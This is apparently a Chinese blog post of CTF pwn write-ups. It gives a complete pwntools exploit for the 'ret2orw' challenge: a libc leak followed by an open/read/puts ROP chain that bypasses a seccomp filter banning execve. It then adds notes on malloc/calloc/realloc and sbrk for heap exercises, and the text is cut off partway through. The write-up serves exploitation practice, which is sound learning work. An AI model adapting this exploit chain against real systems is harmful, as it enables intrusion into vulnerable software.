{"id":575,"date":"2025-07-29T10:15:12","date_gmt":"2025-07-29T02:15:12","guid":{"rendered":"https:\/\/www.okabe.xin\/?p=575"},"modified":"2025-07-29T10:15:12","modified_gmt":"2025-07-29T02:15:12","slug":"%e4%b8%80%e7%82%b9%e6%97%a7%e5%ad%98%e8%b4%a7%e5%8a%a0%e4%b8%80%e7%82%b9%e6%96%b0%e4%b8%9c%e8%a5%bf","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=575","title":{"rendered":"\u4e00\u70b9\u65e7\u5b58\u8d27\u52a0\u4e00\u70b9\u65b0\u4e1c\u897f"},"content":{"rendered":"\n

ret2orw<\/h3>\n\n\n\n

\u611f\u89c9\u4f1a\u6210\u6211\u5370\u8c61\u5f88\u6df1\u523b\u7684ORW<\/code>\u5165\u95e8\u9898<\/p>\n\n\n\n

\u5f00\u5c40\u5148checksec<\/p>\n\n\n\n

\u250c\u2500\u2500(kali\u327fkali)-[~\/\u684c\u9762\/ret2orw]
\u2514\u2500$ checksec ret2orw  
[*] '\/home\/kali\/\u684c\u9762\/ret2orw\/ret2orw'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
                            <\/code><\/pre>\n\n\n\n
RELRO\u534a\u5f00\uff0cNX\u5f00\u7740<\/p>\n\n\n\n
\u5148\u56de\u5230IDA\u53bb\u770b\u5185\u5bb9<\/p>\n\n\n\n
main<\/code>\u51fd\u6570\u5f88\u7b80\u5355\uff0c\u4e00\u5806puts\u7136\u540e\u8fdb\u5165\u4e00\u4e2avuln<\/code>\u51fd\u6570<\/p>\n\n\n\n
ssize_t vuln()
{
  _BYTE buf[32]; \/\/ [rsp+0h] [rbp-20h] BYREF
\u200b
  return read(0, buf, 0x100uLL);
}<\/code><\/pre>\n\n\n\n
\u5728 vuln<\/code>\u51fd\u6570\u91cc\u9762\u80fd\u770b\u5230\u5f88\u660e\u663e\u7684\u6808\u6ea2\u51fa\u6f0f\u6d1e<\/p>\n\n\n\n
\u5728\u8003\u8651\u80fd\u4e0d\u80fd\u6253ret2text\u4e86<\/p>\n\n\n\n
\u4f46\u662f\u53bb\u67e5\u5b57\u7b26\u5185\u5bb9\uff0c\u53d1\u73b0\u6ca1\u4e1c\u897f<\/p>\n\n\n\n
\u770b\u5230\u4e00\u4e2a\u6240\u8c13backdoor<\/code>\u51fd\u6570\u548chint<\/code>\u51fd\u6570<\/p>\n\n\n\n
backdoor<\/code>\u51fd\u6570\u8fd8\u7b97\u6709\u6982\u7387\u80fd\u7528\u4e0a<\/p>\n\n\n\n
int backdoor()
{
  return system(\"really?\\n\");
}<\/code><\/pre>\n\n\n\n
\u53e6\u5916\u4e00\u4e2ahint<\/code>\u51fd\u6570\u4ec0\u4e48\u90fd\u6ca1\u6709<\/p>\n\n\n\n
\u4f46\u662f\u6ca1\u5b57\u7b26\u554a\uff0c\u8fd8\u56e0\u4e3aNX\u6ca1\u6cd5\u4f20shellcode\uff0c\u4e5f\u5c31\u6ca1\u6cd5\u6253ret2shellcode<\/p>\n\n\n\n
\u597d\uff0c\u90a3\u6253ret2libc\u80fd\u884c\u5417\uff0c\u53cd\u6b63libc\u6587\u4ef6\u7ed9\u4e86\uff0c\u76f4\u63a5\u586b\u677f\u5b50\u80fd\u6253\u5417\uff1f<\/p>\n\n\n\n
\u770b\u770b\u9898\u76ee\u540d\u79f0\uff0cORW<\/p>\n\n\n\n
open\uff0cread\uff0cwrite\uff0c\u4e09\u4e2a\u51fd\u6570\u7f29\u5199\u4e3aORW\uff0cORW\u83b7\u53d6\u5185\u5bb9\u7684\u9002\u7528\u6761\u4ef6\u4e00\u822c\u662f\u65e0\u6cd5\u6b63\u5e38\u6253\u5f00execve\u5565\u7684\u60c5\u51b5\u4e0b<\/p>\n\n\n\n
\u8fd9\u4e2a\u65f6\u5019\u53ef\u4ee5\u770b\u5230\u5b58\u5728\u6c99\u7bb1\u51fd\u6570\uff0cseccomp<\/p>\n\n\n\n
\u6240\u4ee5\u5e38\u89c4\u7684libc\u5927\u6982\u7387\u4e0d\u80fd\u6210\u529f\u6253\u901a\uff0c\u6211\u4eec\u5148\u67e5\u67e5\u6c99\u7bb1\u9650\u5236\u4e86\u54ea\u4e9b\u51fd\u6570<\/p>\n\n\n\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/\u684c\u9762\/ret2orw]
\u2514\u2500$ seccomp-tools dump .\/ret2orw
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL
                                                   <\/code><\/pre>\n\n\n\n
\u8fd9\u91ccA = sys_number \uff0c\u5df2\u7ecf\u662f\u7cfb\u7edf\u8c03\u7528\u53f7<\/p>\n\n\n\n
\u6240\u4ee5\u5e38\u89c4\u7684\u51fd\u6570\uff0c\u50cfopen,read,write\u4ec0\u4e48\u7684\u90fd\u8fd8\u80fd\u7528\uff0c\u5c31execve\u88abban\u6389\u4e86<\/p>\n\n\n\n
\u90a3\u5c31\u662f\u4e00\u4e2a\u5f88\u5e38\u89c4\u7684ORW\u4e86<\/p>\n\n\n\n
\u9996\u5148\u662f\u8003\u8651\u6cc4\u9732\u51faputs@address<\/p>\n\n\n\n
\u90a3\u8fd9\u4e2a\u65f6\u5019\u5c31\u5148\u5199\u6210\uff1a<\/p>\n\n\n\n
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
io = remote('gz.imxbt.cn', 20123)
context.binary = 'ret2orw'
elf = ELF('.\/ret2orw')
libc = ELF('.\/libc.so.6')
offset = 0x20
pop_rdi = 0x00000000004012ce #: pop rdi ; ret
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = 0x4012F2
\u200b
#\u6cc4\u6f0flibc
pl = b'a'*(offset) + p64(0)
pl += p64(pop_rdi)
pl += p64(puts_got)
pl += p64(puts_plt)
pl += p64(main)
\u200b
io.recvuntil(\"oh,what's this?\\n\")
io.sendline(pl)
leak = u64(io.recv(6).ljust(8, b'\\x00'))
log.info(f\"Leaked puts@libc: {hex(leak)}\")<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u62ff\u5230libc\u7136\u540e\u53bb\u627e\u57fa\u5730\u5740\u6c42\u504f\u79fb<\/p>\n\n\n\n
#\u8ba1\u7b97\u504f\u79fb\u6307\uff0c\u4e5f\u5c31\u662f\u57fa\u5730\u5740
libc_offset = libc.sym['puts']
libc_base = leak - libc_offset
log.info(f\"Leaked libc_base:{hex(libc_base)}\")
\u200b
\u200b
#\u5e38\u89c4ret2libc\u5c31\u6309\u4e0b\u9762\u7684\u65b9\u6cd5\u6253\uff0c\u627esystem\u627ebin\/sh\u5728libc\u91cc\u7684\u5730\u5740\u7136\u540e\u7b97\u504f\u79fb
# system_addr = libc_base + libc.sym['system']
# bin_sh_addr = libc_base + next(libc.search(b'\/bin\/sh\\x00'))
# log.info(f\"Leaked system_addr:{hex(system_addr)}\")
# log.info(f\"Leaked bin_sh_addr:{hex(bin_sh_addr)}\")
\u200b
#ORW\u5c31\u6709\u70b9\u4e0d\u4e00\u6837\u4e86\uff0c\u56e0\u4e3a\u6ca1\u529e\u6cd5\u7528execve\uff0c\u53ea\u80fd\u53bblibc\u91cc\u9762\u627eopen\uff0cread\uff0cwrite\u5565\u7684\uff0c\u7136\u540e\u8fd8\u8981\u4e3a\u4e86\u8c03\u7528\u8fd9\u4e9b\u51fd\u6570\uff0c\u53bb\u627e\u4e00\u4e9b\u5fc5\u8981\u7684\u5bc4\u5b58\u5668\u5730\u5740\uff0c\u8fd9\u4ee8\u51fd\u6570\u5fc5\u7528\u7684\u5bc4\u5b58\u5668\u662f`rdi` `rsi`  `rdx`
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
#   0x000000000002be51 : pop rsi ; ret
pop_rsi = libc_base + 0x000000000002be51
#   0x00000000000904a9 : pop rdx ; pop rbx ; ret
pop_rdx_rbx = libc_base + 0x00000000000904a9<\/pre>\n\n\n\n
\u7136\u540e\u5f00\u59cb\u5199\u4e2aROP\u94fe\u5c31\u597d\u4e86<\/p>\n\n\n\n
\u7b2c\u4e00\u6b21read\uff0c\u662f\u628aflag\u6254\u5230\u6211\u60f3\u8981\u7684bss\u6bb5\u5730\u5740\u53bb\uff0c\u6240\u4ee5\u770b\u7740\u4f20\u53c2\u5c31\u884c\u4e86\uff0c\u6bd4\u5982\u7b2c\u4e00\u6b21read\u90a3\u4e2a0x40\uff0c\u522b\u592a\u79bb\u8c31\u5c31\u884c\u4e86\uff0c0x\u591a\u5c11\u57fa\u672c\u4e0a\u90fd\u80fd\u7528\uff0c\u53cd\u6b63\u591f\u5199\u8fd8\u4e0d\u5927\u5f97\u6ca1\u8fb9\u90fd\u80fd\u73a9<\/p>\n\n\n\n
\u8fd9\u91cc\u7684\u672c\u8d28\u662f\u628aflag\u8fd9\u4e2a\u6587\u4ef6\u7684\u6587\u4ef6\u540d\u5199\u8fdbbss\u6bb5\uff0c\u7ecf\u9a8c\u8bc1\uff0c\u641e\u6210read(0, bss, 0x8)\u90fd\u80fd\u73a9\uff0c\u8fd9\u4e00\u6b21\u5b58\u7684\u6ca1\u6709\u5185\u5bb9\uff0c\u53ea\u6709\u6587\u4ef6\u540d<\/p>\n\n\n\n
open\u5c31\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u6253\u5f00\u561b<\/p>\n\n\n\n
\u7b2c\u4e8c\u6b21read\u5c31\u4ecebss\u7684\u5730\u5740\u5f00\u59cb\u5f80\u540e\u8bfb\uff0c\u8bfb\u7684\u5c31\u662fflag\u7684\u5185\u5bb9\uff0c\u80fd\u8bfb\u5b8cflag\u5c31\u884c\uff0c\u4f60\u5982\u679c\u77ed\u4e86flag\u80af\u5b9a\u5c31\u8bfb\u4e0d\u5168\uff0c\u80fd\u8bfb\u5168flag\u5c31\u884c\u4e86<\/p>\n\n\n\n
\u5269\u4e0b\u7684\u66f4\u7b80\u5355\uff0cputs\u8fdb\u884c\u8f93\u51fa\u5c31\u597d\u4e86<\/p>\n\n\n\n
\u65f6\u5e8f\u60c5\u51b5\u5982\u4e0b\uff1a<\/p>\n\n\n\n
+---------------------+       +-------------------------+
| \u53d1\u9001\u7b2c\u4e8c\u4e2apayload      | -->  | \u7a0b\u5e8f\u6267\u884cROP\u94fe:           |
| (\u8986\u76d6\u8fd4\u56de\u5730\u5740+ROP\u6307\u4ee4)  |      | 1. read(0, bss, 0x40)   |
+---------------------+       |    \uff08\u7b49\u5f85\u8f93\u5165\uff09            |
                              +-------------------------+
                                      |
                                      | \u7a0b\u5e8f\u6682\u505c\uff0c\u7b49\u5f85\u8f93\u5165
                                      v
+---------------------+       +-------------------------+
| \u53d1\u9001 \".\/flag\" \u5b57\u7b26\u4e32   | -->   | read\u5c06\u5b57\u7b26\u4e32\u5199\u5165.bss\u6bb5     |
+---------------------+       +-------------------------+
                                      |
                                      v
                              +-------------------------+
                              | \u7ee7\u7eed\u6267\u884cROP\u94fe:            |
                              | 2. open(bss, 0, 0)      |
                              | 3. read(3, bss, 0x40)   |
                              | 4. puts(bss)            |
                              +-------------------------+<\/code><\/pre>\n\n\n\n
\u4ee3\u7801\u5b9e\u73b0\uff1a<\/p>\n\n\n\n
#\u7136\u540e\u5c31\u662f\u6784\u9020\u7b2c\u4e8c\u4e2apayload\u6ea2\u51fa\u4f7f\u6267\u884c\u6211\u4eec\u60f3\u8981\u5b9e\u73b0\u7684ROP\u94fe
#read(0, bss, 0x40)
payload = b'a'*(offset + 8)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx_rbx) + p64(0x40) + p64(0)
payload += p64(read_addr)
#open(bss, 0, 0)
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx_rbx) + p64(0) + p64(0)
payload += p64(open_addr)
#read(3, bss, 0x40)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx_rbx) + p64(0x40) + p64(0)
payload += p64(read_addr)
#puts(bss)
payload += p64(pop_rdi) + p64(bss)
payload += p64(puts_plt)
\u200b
# payload = payload.ljust(0x100, b'a')
\u200b
io.recvuntil(\"oh,what's this?\\n\")
io.send(payload)
sleep(1)
io.send('.\/flag')
\u200b
io.interactive()<\/code><\/pre>\n\n\n\n
\u8fd8\u6709\u4e00\u4e2a\u5c0f\u95ee\u9898\u6ca1\u8bf4\uff0c\u90a3bss\u7684\u5730\u5740\u600e\u4e48\u641e\uff1f<\/p>\n\n\n\n
\u56de\u5230IDA\u770b\u770b<\/p>\n\n\n\n
.bss:0000000000404060 __bss_start<\/code><\/pre>\n\n\n\n
\u8fd9\u4e0d\u6709\u4e86\uff1f\u4f46\u662f\u8fd8\u662f\u4e0d\u884c\uff0cbss\u6bb5\u6709\u5f88\u591a\u8981\u7528\u7684\u6570\u636e\uff0c\u5982\u679c\u5c31\u76f4\u63a5\u5199\u5230\u8fd9\uff0c\u90a3\u6211\u4eec\u7684\u7a0b\u5e8f\u4e0d\u5f97\u76f4\u63a5\u62a5\u9519\u6545\u969c\u9000\u51fa\uff1f<\/p>\n\n\n\n
\u6240\u4ee5\u9694\u8fdc\u70b9\u5c31\u597d\u4e86<\/p>\n\n\n\n
bss = 0x404060 + 0x600<\/code><\/pre>\n\n\n\n
0x600\u4e5f\u597d\uff0c0x400\u4e5f\u884c\uff0c\u53cd\u6b63\u9694\u5f00\u70b9\u522b\u628a\u91cd\u8981\u6570\u636e\u8986\u76d6\u4e86\u5c31\u884c\uff08\u5b9e\u6d4b\u6539\u62100x23\u90fd\u884c\uff0c\u4e0d\u8fc7\u8bb2\u9053\u74060x23\u90fd\u5df2\u7ecf\u8986\u76d6\u4e86\u4e00\u4e9bbss\u6bb5\u6570\u636e\u4e86\uff0c\u53ea\u80fd\u8bf4\u6709\u4e9b\u80fd\u8986\u76d6\u6709\u4e9b\u4e0d\u80fd\u8986\u76d6\uff0c\u5e94\u8be5\u8fd8\u80fd\u5f80\u4e0b\u538b\uff09<\/p>\n\n\n\n
\u8fd9\u9898\u611f\u89e6\u8fd8\u7b97\u633a\u6df1\u7684\uff0cdebug\u771f\u662f\u4e2a\u597d\u4e1c\u897f<\/p>\n\n\n\n
\u5b8c\u6574exp\uff1a<\/p>\n\n\n\n
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
io = remote('gz.imxbt.cn', 20125)
\u200b
# io = process(\".\/ret2orw\")
\u200b
context.binary = 'ret2orw'
elf = ELF('.\/ret2orw')
libc = ELF('.\/libc.so.6')
offset = 0x20
pop_rdi = 0x00000000004012ce #: pop rdi ; ret
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
bss = 0x404060 + 0x230
main = 0x4012F2
\u200b
#\u6cc4\u6f0flibc
pl = b'a'*(offset) + p64(0)
pl += p64(pop_rdi)
pl += p64(puts_got)
pl += p64(puts_plt)
pl += p64(main)
\u200b
io.recvuntil(\"oh,what's this?\\n\")
io.sendline(pl)
leak = u64(io.recv(6).ljust(8, b'\\x00'))
log.info(f\"Leaked puts@libc: {hex(leak)}\")
\u200b
# \u6cc4\u6f0f\u51fa\u7684puts_libc:0x7f4e5e01de50
\u200b
#\u8ba1\u7b97\u504f\u79fb\u6307\uff0c\u4e5f\u5c31\u662f\u57fa\u5730\u5740
libc_offset = libc.sym['puts']
libc_base = leak - libc_offset
log.info(f\"Leaked libc_base:{hex(libc_base)}\")
\u200b
\u200b
#\u5e38\u89c4ret2libc\u5c31\u6309\u4e0b\u9762\u7684\u65b9\u6cd5\u6253\uff0c\u627esystem\u627ebin\/sh\u5728libc\u91cc\u7684\u5730\u5740\u7136\u540e\u7b97\u504f\u79fb
\u200b
# system_addr = libc_base + libc.sym['system']
\u200b
# bin_sh_addr = libc_base + next(libc.search(b'\/bin\/sh\\x00'))
\u200b
# log.info(f\"Leaked system_addr:{hex(system_addr)}\")
\u200b
# log.info(f\"Leaked bin_sh_addr:{hex(bin_sh_addr)}\")
\u200b
#ORW\u5c31\u6709\u70b9\u4e0d\u4e00\u6837\u4e86
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
#0x000000000002be51 : pop rsi ; ret
pop_rsi = libc_base + 0x000000000002be51
\u200b
#   0x00000000000904a9 : pop rdx ; pop rbx ; ret
\u200b
pop_rdx_rbx = libc_base + 0x00000000000904a9
\u200b
\u200b
\u200b
#\u7136\u540e\u5c31\u662f\u6784\u9020\u7b2c\u4e8c\u4e2apayload\u6ea2\u51fa\u4f7f\u6267\u884c\u6211\u4eec\u60f3\u8981\u5b9e\u73b0\u7684ROP\u94fe
#read(0, bss, 0x40)
payload = b'a'*(offset + 8)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx_rbx) + p64(0x8) + p64(0)
payload += p64(read_addr)
#open(bss, 0, 0)
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx_rbx) + p64(0) + p64(0)
payload += p64(open_addr)
#read(3, bss, 0x40)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx_rbx) + p64(0x100) + p64(0)
payload += p64(read_addr)
#puts(bss)
payload += p64(pop_rdi) + p64(bss)
payload += p64(puts_plt)
\u200b
# payload = payload.ljust(0x100, b'a')
\u200b
io.recvuntil(\"oh,what's this?\\n\")
io.send(payload)
sleep(1)
io.send('.\/flag')
\u200b
io.interactive()<\/code><\/pre>\n\n\n\n
pwn135<\/h2>\n\n\n\n
malloc<\/code>, calloc<\/code>, realloc<\/code> \u8be6\u89e3<\/h3>\n\n\n\n
\u8fd9\u4e09\u4e2a\u51fd\u6570\u90fd\u662f C \u8bed\u8a00\u4e2d\u7528\u4e8e\u52a8\u6001\u5185\u5b58\u5206\u914d<\/strong>\u7684\u6807\u51c6\u5e93\u51fd\u6570\uff08\u5b9a\u4e49\u5728 <stdlib.h><\/code> \u4e2d\uff09\uff0c\u4f46\u5b83\u4eec\u7684\u884c\u4e3a\u548c\u7528\u9014\u6709\u663e\u8457\u533a\u522b\uff1a<\/p>\n\n\n\n
\n\n\n\n
1. malloc<\/code><\/strong><\/h4>\n\n\n\n
void* malloc(size_t size);<\/pre>\n\n\n\n
    \n
  • \u529f\u80fd<\/strong>\uff1a\u5206\u914d\u6307\u5b9a\u5b57\u8282\u6570\u7684\u672a\u521d\u59cb\u5316<\/strong>\u5185\u5b58\u5757<\/li>\n\n\n\n
  • \u53c2\u6570<\/strong>\uff1asize<\/code> \u8868\u793a\u9700\u8981\u5206\u914d\u7684\u5b57\u8282\u6570<\/li>\n\n\n\n
  • \u8fd4\u56de\u503c<\/strong>\uff1a\u6210\u529f\u65f6\u8fd4\u56de\u6307\u5411\u5206\u914d\u5185\u5b58\u8d77\u59cb\u5730\u5740\u7684\u6307\u9488\uff1b\u5931\u8d25\u65f6\u8fd4\u56de NULL<\/code><\/li>\n\n\n\n
  • \u5185\u5b58\u72b6\u6001<\/strong>\uff1a\u5206\u914d\u7684\u5185\u5b58\u5185\u5bb9\u662f\u672a\u521d\u59cb\u5316\u7684<\/strong>\uff08\u5185\u5bb9\u968f\u673a\uff0c\u53ef\u80fd\u662f\u5783\u573e\u503c\uff09<\/li>\n\n\n\n
  • \u5178\u578b\u7528\u4f8b<\/strong>\uff1a int *arr = (int*)malloc(10 * sizeof(int)); \u00a0\/\/ \u5206\u914d 10 \u4e2a\u6574\u6570\u7684\u7a7a\u95f4<\/li>\n<\/ul>\n\n\n\n
    \n\n\n\n
    2. calloc<\/code><\/strong><\/h4>\n\n\n\n
    void* calloc(size_t num, size_t size);<\/pre>\n\n\n\n
      \n
    • \u529f\u80fd<\/strong>\uff1a\u4e3a\u6307\u5b9a\u6570\u91cf\u7684\u5143\u7d20\u5206\u914d\u5185\u5b58\uff0c\u5e76\u5c06\u5185\u5b58\u521d\u59cb\u5316\u4e3a\u96f6<\/strong><\/li>\n\n\n\n
    • \u53c2\u6570<\/strong>\uff1a\n
        \n
      • num<\/code>\uff1a\u5143\u7d20\u6570\u91cf<\/li>\n\n\n\n
      • size<\/code>\uff1a\u6bcf\u4e2a\u5143\u7d20\u7684\u5b57\u8282\u5927\u5c0f<\/li>\n<\/ul>\n<\/li>\n\n\n\n
      • \u7b49\u6548\u64cd\u4f5c<\/strong>\uff1a\u76f8\u5f53\u4e8e malloc(num * size)<\/code> + memset(ptr, 0, num * size)<\/code><\/li>\n\n\n\n
      • \u5185\u5b58\u72b6\u6001<\/strong>\uff1a\u5206\u914d\u7684\u5185\u5b58\u5185\u5bb9\u5168\u90e8\u521d\u59cb\u5316\u4e3a 0<\/strong>\uff08\u6574\u6570\u4e3a 0\uff0c\u6307\u9488\u4e3a NULL<\/code>\uff09<\/li>\n\n\n\n
      • \u5178\u578b\u7528\u4f8b<\/strong>\uff1a int *arr = (int*)calloc(10, sizeof(int)); \u00a0\/\/ \u5206\u914d\u5e76\u6e05\u96f6 10 \u4e2a\u6574\u6570\u7684\u7a7a\u95f4<\/li>\n<\/ul>\n\n\n\n
        \n\n\n\n
        3. realloc<\/code><\/strong><\/h4>\n\n\n\n
        void* realloc(void* ptr, size_t new_size);<\/pre>\n\n\n\n
          \n
        • \u529f\u80fd<\/strong>\uff1a\u8c03\u6574<\/strong>\u5df2\u5206\u914d\u5185\u5b58\u5757\u7684\u5927\u5c0f\uff08\u6269\u5927\u6216\u7f29\u5c0f\uff09<\/li>\n\n\n\n
        • \u53c2\u6570<\/strong>\uff1a\n
            \n
          • ptr<\/code>\uff1a\u6307\u5411\u5148\u524d\u5206\u914d\u7684\u5185\u5b58\u5757\u7684\u6307\u9488\uff08\u82e5\u4e3a NULL<\/code>\uff0c\u5219\u7b49\u4ef7\u4e8e malloc(new_size)<\/code>\uff09<\/li>\n\n\n\n
          • new_size<\/code>\uff1a\u65b0\u7684\u5185\u5b58\u5927\u5c0f\uff08\u5b57\u8282\u6570\uff09<\/li>\n<\/ul>\n<\/li>\n\n\n\n
          • \u884c\u4e3a<\/strong>\uff1a\n
              \n
            • \u6269\u5927\u5185\u5b58<\/strong>\uff1a\u5c1d\u8bd5\u5728\u539f\u5185\u5b58\u5757\u540e\u6269\u5c55\u7a7a\u95f4\uff1b\u82e5\u5931\u8d25\u5219\u5206\u914d\u65b0\u5185\u5b58\u5757\uff0c\u590d\u5236\u65e7\u6570\u636e\uff0c\u91ca\u653e\u539f\u5185\u5b58<\/li>\n\n\n\n
            • \u7f29\u5c0f\u5185\u5b58<\/strong>\uff1a\u76f4\u63a5\u622a\u65ad\u539f\u5185\u5b58\u5757\uff0c\u591a\u4f59\u90e8\u5206\u88ab\u91ca\u653e<\/li>\n\n\n\n
            • ptr<\/code> \u4e3a NULL<\/code><\/strong>\uff1a\u7b49\u4ef7\u4e8e malloc(new_size)<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n
            • \u5185\u5b58\u72b6\u6001<\/strong>\uff1a\n
                \n
              • \u65e7\u5185\u5b58\u7684\u5185\u5bb9\u4fdd\u7559\u5230\u65b0\u5185\u5b58\u7684\u6700\u5c0f\u90e8\u5206\uff08min(old_size, new_size)<\/code>\uff09<\/li>\n\n\n\n
              • \u65b0\u589e\u5185\u5b58\u533a\u57df\u672a\u521d\u59cb\u5316<\/strong>\uff08\u82e5\u6269\u5927\u5185\u5b58\uff09<\/li>\n<\/ul>\n<\/li>\n\n\n\n
              • \u5178\u578b\u7528\u4f8b<\/strong>\uff1a int *arr = (int*)malloc(5 * sizeof(int)); \u00a0\/\/ \u521d\u59cb\u5206\u914d
                arr = (int*)realloc(arr, 10 * sizeof(int)); \/\/ \u6269\u5bb9\u5230 10 \u4e2a\u6574\u6570<\/li>\n<\/ul>\n\n\n\n
                \n\n\n\n
                \u5173\u952e\u533a\u522b\u603b\u7ed3<\/h3>\n\n\n\n
                \u7279\u6027<\/th>malloc<\/code><\/th>calloc<\/code><\/th>realloc<\/code><\/th><\/tr><\/thead>
                \u521d\u59cb\u5316<\/strong><\/td>\u274c \u672a\u521d\u59cb\u5316\uff08\u5185\u5bb9\u968f\u673a\uff09<\/td>\u2705 \u521d\u59cb\u5316\u4e3a\u5168 0<\/td>\u4fdd\u7559\u65e7\u6570\u636e\uff0c\u65b0\u589e\u90e8\u5206\u672a\u521d\u59cb\u5316<\/td><\/tr>
                \u53c2\u6570<\/strong><\/td>\u603b\u5b57\u8282\u6570 (size<\/code>)<\/td>\u5143\u7d20\u6570\u91cf (num<\/code>) + \u5143\u7d20\u5927\u5c0f (size<\/code>)<\/td>\u539f\u6307\u9488 (ptr<\/code>) + \u65b0\u5b57\u8282\u6570 (new_size<\/code>)<\/td><\/tr>
                \u5b89\u5168\u98ce\u9669<\/strong><\/td>\u53ef\u80fd\u5305\u542b\u654f\u611f\u5783\u573e\u503c<\/td>\u65e0\u654f\u611f\u6570\u636e\u6b8b\u7559\u98ce\u9669<\/td>\u9700\u624b\u52a8\u68c0\u67e5\u5206\u914d\u662f\u5426\u6210\u529f<\/td><\/tr>
                \u6027\u80fd<\/strong><\/td>\u8f83\u5feb\uff08\u4e0d\u521d\u59cb\u5316\uff09<\/td>\u8f83\u6162\uff08\u9700\u5199\u96f6\u64cd\u4f5c\uff09<\/td>\u53ef\u80fd\u6d89\u53ca\u5185\u5b58\u590d\u5236<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
                \n\n\n\n
                \u5728\u539f\u59cb\u4ee3\u7801\u4e2d\u7684\u4f53\u73b0<\/h3>\n\n\n\n
                \/\/ \u9009\u9879 1: malloc
                printf(\"Enter the size to allocate using malloc: \");
                __isoc99_scanf(\"%lu\", &size);
                ptr = malloc(size);  \/\/ \u5206\u914d\u672a\u521d\u59cb\u5316\u5185\u5b58
                \u200b
                \/\/ \u9009\u9879 2: calloc
                printf(\"Enter the size to allocate using calloc: \");
                __isoc99_scanf(\"%lu\", &size);
                ptr = calloc(1uLL, size);  \/\/ \u5206\u914d\u5e76\u521d\u59cb\u5316\u4e3a 0
                \u200b
                \/\/ \u9009\u9879 3: realloc
                printf(\"Enter the size to allocate using realloc: \");
                __isoc99_scanf(\"%lu\", &size);
                ptr = realloc(ptr, size);  \/\/ \u8c03\u6574\u5df2\u5206\u914d\u5185\u5b58\u7684\u5927\u5c0f<\/code><\/pre>\n\n\n\n
                \n
                \u6ce8\u610f<\/strong>\uff1a\u4ee3\u7801\u4e2d calloc(1uLL, size)<\/code> \u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u56fa\u5b9a\u4e3a 1\uff0c\u5b9e\u9645\u5206\u914d 1 * size<\/code> \u5b57\u8282\u7684\u5185\u5b58<\/p>\n<\/blockquote>\n\n\n\n
                \u672c\u9898\u62ffflag\u5012\u662f\u6781\u7b80\u5355<\/p>\n\n\n\n
                \u5f88\u5e38\u89c4\u4e0d\u8fc7\u7684\u9009\u62e9\u83dc\u5355<\/p>\n\n\n\n
                \u8f93\u5165\u7684\u5185\u5bb9\u8bc6\u522b\u4e3av1\uff0c\u7b49\u4e8e2\u8c03\u7528calloc<\/p>\n\n\n\n
                3\u5c31realloc<\/p>\n\n\n\n
                4\u662fcat flag<\/p>\n\n\n\n
                1\u662fmalloc<\/p>\n\n\n\n
                pwn136<\/h2>\n\n\n\n
                \u4ecd\u7136\u662f\u8fd9\u4e09\u4e2a\u52a8\u6001\u5185\u5b58\u7ba1\u7406\u51fd\u6570<\/p>\n\n\n\n
                \u4f46\u662f\u8fd9\u9898\u4e3b\u8981\u60f3\u8981\u8ba9\u6211\u4eec\u8ba4\u8bc6\u7684\u662f\u5404\u81ea\u7684free\u6548\u679c<\/p>\n\n\n\n
                \u4ecd\u7136\u662f\u4f204\u62ffflag<\/p>\n\n\n\n
                pwn137<\/h2>\n\n\n\n
                \u8fd9\u6bb5\u4ee3\u7801\u6f14\u793a\u4e86 sbrk<\/code> \u548c brk<\/code> \u7cfb\u7edf\u8c03\u7528\u7684\u4f7f\u7528\uff0c\u7528\u4e8e\u64cd\u4f5c\u7a0b\u5e8f\u5806\u7a7a\u95f4\u7684\u8fb9\u754c\uff08program break\uff09\u3002\u6700\u7ec8\u76ee\u7684\u662f\u8bfb\u53d6\u5e76\u8f93\u51fa \/ctfshow_flag<\/code> \u6587\u4ef6\u7684\u5185\u5bb9\u3002\u903b\u8f91\u9010\u6b65\u89e3\u6790\u5982\u4e0b\uff1a<\/p>\n\n\n\n
                \n\n\n\n
                1. \u83b7\u53d6\u5e76\u6253\u5370\u5f53\u524d\u8fdb\u7a0bID<\/strong><\/h3>\n\n\n\n
                v0 = getpid();
                printf(\"sbrk example:%d\\n\", v0);<\/code><\/pre>\n\n\n\n
                  \n
                • \u8c03\u7528 getpid()<\/code> \u83b7\u53d6\u5f53\u524d\u8fdb\u7a0b\u7684ID\u3002<\/li>\n\n\n\n
